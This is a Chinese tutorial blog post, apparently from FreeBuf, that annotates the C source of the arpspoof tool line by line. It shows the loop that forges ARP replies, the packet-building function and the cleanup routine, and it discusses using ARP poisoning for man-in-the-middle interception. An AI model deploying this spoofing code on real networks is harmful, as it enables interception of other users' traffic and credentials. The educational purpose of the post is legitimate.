以一种轻松的方式来看ARPspoof源码

本文原创作者:VillanCh

前言

如果你的目标是一个会使用工具的hacker的话,请无视下面的所有内容;如果你的目标是渴望拥有自己的渗透测试工具,编写自己的xxxtools,那么看一些简单的工具的源码一定大有裨益。

背景

今天心血来潮闲着无聊打算分析某个小工具的源代码看看玩。

笔者也是一颗hacker的心,但是有一定的网络编程功底,一直立志不做一名只会用工具的hacker,那么今天晚上我的目标就是那个已经被滥用的ARPspoof。

说实在的我非常不喜欢神化黑客工具,那么我们今天就拿ARPspoof来开刀,看看这个可以实现ARP欺骗的小玩意内藏了多少“可怕的东西”

首先我是看过一些已经在FreeBuf上发出的关于ARP攻击的一些文章,窃以为我能看到,但是爱好者(不具备tcpip知识,网络知识基础薄弱的人可能要遭殃了)然后我准备以一种轻松的,微观的心态来讲一下这个问题,如在文章中出现漏洞或者是错误,欢迎大家指出。 

找到ARPspoof的源代码,核心代码基本都不变,那么我们这就开始把!但是ARPspoof的源代码随着版本的更新不停地在重构,我找了一个相对比较稳定的版本。 

以一种轻松的方式来补充基础知识

在此之前请允许我补充一些基础知识。

Arp数据包的作用:每一台电脑进入网络之后会广播一条arp数据包来声明自己的身份(ip,mac地址等),那么如果arp被恶意劫持了就是我们所熟悉的arp污染或者arp劫持。为了方便大家理解,我们可以类比我们平时所用的身份证,如果身份证被人拿走了,是不是可以被用来开户开房做坏事洗钱什么的?没错,我们可以姑且把arp当作这样的一个例子,但是也不完全对,就本文讨论这个工具而言的话我们这样理解是足够了。

Libnet库,这个库是一个神奇的库,在可以直接对链路层进行处理,如果你厌倦了socket的规规矩矩的使用,可以考虑看一下libnet库,同样的你也会猜到了,如果你发送大量的链路层数据报,有可能造成网络不稳定等各种问题,那么问题来了flood攻击,DDOS攻击是不是可是实现了?这个问题我还是很有兴趣为大家揭秘的。言归正传,关于libnet的使用,我们在arpspoof里面将会见到。

最最基础的网络知识与基础的linux内核编程知识本文是默认大家已经掌握的。那么我们接下来可以开始了么?不不不。 

Think like a hacker

我还需要罗嗦一点讲一讲arp劫持的故事:

我随意网上搜索一个arp劫持的例子

源于baidu,恩其实这个没什么神秘的,只是做出来效果不错而已

接下来是freebuf的Heee这个作者的一片文章地址《中间人攻击-ARP毒化》

那么我想说的倒不是这个,arp攻击我个人把它分为两种:1.arp断网;2.arp劫持。其实在成功实施arp断网的时候,实际的效果是被攻击的主机把攻击的机器当作了网关,而所有的数据包都发送到了攻击机上了,也就是说,理论上你是可以拿到它发送的所有数据包的(包括密码???),当然密码是极有可能加密的。

我们再延伸一下,收到了被攻击者发来的数据包我们会怎么办?查看一下么?但是好像查看的意义不太大啊(因为又去无回,被攻击者不停地再发请求数据包,并不会有什么数据交换,这样的数据包实际上是没有什么意思的),于是我们就想办法伪装一下,最简单的办法就是再欺骗一下网关么?bingo!答对了,好,问题又来了欺骗网关就可以了么?你收到的 被害者的数据包没有销赃。。。那么,其实很好解决,端口重定向。关于具体的实施,不是重点。

其实我们要来看看这个arpspoof这个小工具的源代码的。那么现在就可以正式开始了!

从main函数开始

首先大家不要慌,我加了无数注释,这个工具的代码也不过400行而已。首先我们看一下main函数:

为了避免大家看起来太紧张,我在源码的注释中加了详细的讲解,方便基础薄弱的同学理解:

int main(int argc, char *argv[])  {         int c;         char ebuf[PCAP_ERRBUF_SIZE];         intf = NULL;         spoof_ip = target_ip = 0;      /**        关于getopt这个函数我想做如下解释大家就可以读懂下面的函数的具体意思了:        1.getopt的用途:用于专门处理函数参数的。        2.getopt的用法:argc与argv直接是从main的参数中拿下来的,第三个参数描述了整个程序参数的命令要求                      具体的用法我们可以先理解为要求i,t这两个参数必须有值                      然后有具体值得参数会把值付给全局变量optarg,这样我们就能理解下面的while循环中的操作了   */         while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {                   switch (c) {                   case 'i':                       intf = optarg;                       break;                case 't':  /*         libnet_name_resolve是解析域名,然后把域名解析的结果形成ip地址返回到target_ip  */                       if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)                              usage();                       break;                default:                       usage();                   }            }                 argc -= optind;         argv += optind;            if (argc != 1)                usage();            if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)                usage();           /*        pcap_lookupdev 顾名思义这个pcap库中的函数是用来寻找本机的可用网络设备。        下面的if语句是将如果intf(-i的参数为空就调用pcap_lookupdev来寻找本机的网络设备)              ebuf就是error_buf用来存储错误信息        */         if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)                errx(1, "%s", ebuf);      /*   libnet_open_link_interface这个函数存在于libnet库中,作用是打开intf指向的网络链路设备   错误信息存入ebuf中。   */         if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)                errx(1, "%s", ebuf);      /*   下面语句的意思是如果target_ip为0或者是arp_find没有成功找到target_ip   那么提示错误   */         if (target_ip != 0 && !arp_find(target_ip, &target_mac))                errx(1, "couldn't arp for host %s",       libnet_host_lookup(target_ip, 0));      //这里关于信号的处理问题如果大家不是太清楚的话也可以跳过,   //有兴趣的朋友,可以深入了解一下,因为这里不是本文重点,就不再赘述了         signal(SIGHUP, cleanup);         signal(SIGINT, cleanup);         signal(SIGTERM, cleanup);            for (;;) {               /*                      在这个for的循环里我们看到了我们希望看到的核心模块        arp_send大家一看这个函数便知道这个函数是用来发送伪造的arp数据包的,关于这个函数具体的用法我们稍后将会讨论                */                   arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip,                      (target_ip ? (u_char *)&target_mac : NULL),                      target_ip);                sleep(2);            }  /* NOTREACHED */            exit(0);     }

看了main函数里面的各种东西,我们发现并没有什么玄机,其实就是很简单的编程,具体的函数讲解都在注释中写出来了。

核心函数的登场

接下来我们就看一下他是如何实现发送arp包的,其实知道大家看了源代码以后就知道,这真的没有什么技术含量,

/**        这里是我们发送arp包的核心实现        我先来介绍一下这个函数的参数方便大家理解        参数一:libnet链路层接口,通过这个接口可以操作链路层        参数二:本机的网卡设备intf(由-i指定或者pcap_lookupdev来获取)        参数三:arpop,来指定arp包的操作        参数四:本机硬件地址        参数五:本机ip        参数六:目标硬件地址        参数七:目标ip   */  int arp_send(struct libnet_link_int *llif, char *dev,   int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)  {            char ebuf[128];         u_char pkt[60];      /*   这里来通过链路层和网卡来获取dev对应的mac地址*/         if (sha == NULL &&      (sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf)) == NULL) {                   return (-1);            }         /*         这里通过链路层和网卡来获取dev对应的ip地址         */            if (spa == 0) {                   if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)                       return (-1);                spa = htonl(spa); /* XXX */            }                 /*         如果目标mac没有的话就被赋值为/xff/xff/xff/xff/xff/xff         */         if (tha == NULL)                tha = "/xff/xff/xff/xff/xff/xff";      /*  libnet_ptag_t libnet_build_ethernet(  u_int8_t*dst, u_int8_t *src,  u_int16_ttype, u_int8_t*payload,  u_int32_tpayload_s, libnet_t*l,  libnet_ptag_t ptag )  功能:  构造一个以太网数据包  参数:  dst:目的 mac  src:源 mac  type:上层协议类型  payload:负载,即附带的数据,可设置为 NULL(这里通常写 NULL)  payload_s:负载长度,或为 0(这里通常写 0 )  l:libnet 句柄,libnet_init() 返回的 libnet * 指针  ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。  返回值:  成功:协议标记  失败:-1   */         libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);   /*   libnet_ptag_t libnet_build_arp(  u_int16_t hrd, u_int16_t pro,  u_int8_t hln, u_int8_t pln,  u_int16_t op, u_int8_t *sha,  u_int8_t *spa, u_int8_t *tha,  u_int8_t *tpa, u_int8_t *payload,  u_int32_t payload_s, libnet_t *l,  libnet_ptag_t ptag )  功能:  构造 arp 数据包   参数:   hrd:硬件地址格式,ARPHRD_ETHER(以太网)   pro:协议地址格式,ETHERTYPE_IP( IP协议)   hln:硬件地址长度   pln:协议地址长度   op:ARP协议操作类型(1:ARP请求,2:ARP回应,3:RARP请求,4:RARP回应)   sha:发送者硬件地址   spa:发送者协议地址   tha:目标硬件地址   tpa:目标协议地址   payload:负载,可设置为 NULL(这里通常写 NULL)   payload_s:负载长度,或为 0(这里通常写 0 )   l:libnet 句柄,libnet_init() 返回的 libnet * 指针   ptag:协议标记,第一次组新的发送包时,这里写 0,同一个应用程序,下一次再组包时,这个位置的值写此函数的返回值。   返回值:   成功:协议标记   失败:-1   */         libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,               op, sha, (u_char *)&spa, tha, (u_char *)&tpa,               NULL, 0, pkt + ETH_H);            fprintf(stderr, "%s ",         ether_ntoa((struct ether_addr *)sha));            /*   下面的if和else是回显处理(也就是大家能看到的部分   */         if (op == ARPOP_REQUEST) {                   fprintf(stderr, "%s 0806 42: arp who-has %s tell %s/n",                       ether_ntoa((struct ether_addr *)tha),                       libnet_host_lookup(tpa, 0),                       libnet_host_lookup(spa, 0));            }         else {                   fprintf(stderr, "%s 0806 42: arp reply %s is-at ",                       ether_ntoa((struct ether_addr *)tha),                       libnet_host_lookup(spa, 0));                fprintf(stderr, "%s/n",                       ether_ntoa((struct ether_addr *)sha));            }         return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));     }

我们看到这其实真的没有什么很神奇的内容对吧?

小尾巴

 /*        下面我们发现挂载信号处理函数的都是cleanup函数,        这个函数很好理解,就是在本机网络设备存在的条件下把包再发三遍,               但是为什么要这么做呢?似乎立即中断也没什么不合理,        我想作者的意思就是总要给一个缓冲的时间啊           我们再仔细观察一下,在main的主循环中是sleep(2)        在下面的循环中是sleep(1)          */  void cleanup(int sig)  {            int i;            if (arp_find(spoof_ip, &spoof_mac)) {                   for (i = 0; i < 3; i++) {     /* XXX - on BSD, requires ETHERSPOOF kernel. */     /*上面这条注释是源码的作者加的,意思是说在BSD系统中需要ETHERSPOOF的第三方内核模块*/                       arp_send(llif, intf, ARPOP_REPLY,                             (u_char *)&spoof_mac, spoof_ip,                             (target_ip ? (u_char *)&target_mac : NULL),                             target_ip);                       sleep(1);                   }            }              exit(0);     }

这样我们还有什么不理解么?在《中间人攻击-ARP毒化》一文中,arpspoof这个工具被我们以这样的方式解密,大家是否开始觉得其实这并没有任何神奇的地方?这就是我们神化的黑客工具吧。 

下载附件

链接 密码: rsua

心血来潮之作,如有高见,希望大家不吝赐教~~

*原创作者:VillanCh,本文属FreeBuf原创奖励计划文章,未经作者本人及FreeBuf许可,切勿私自转载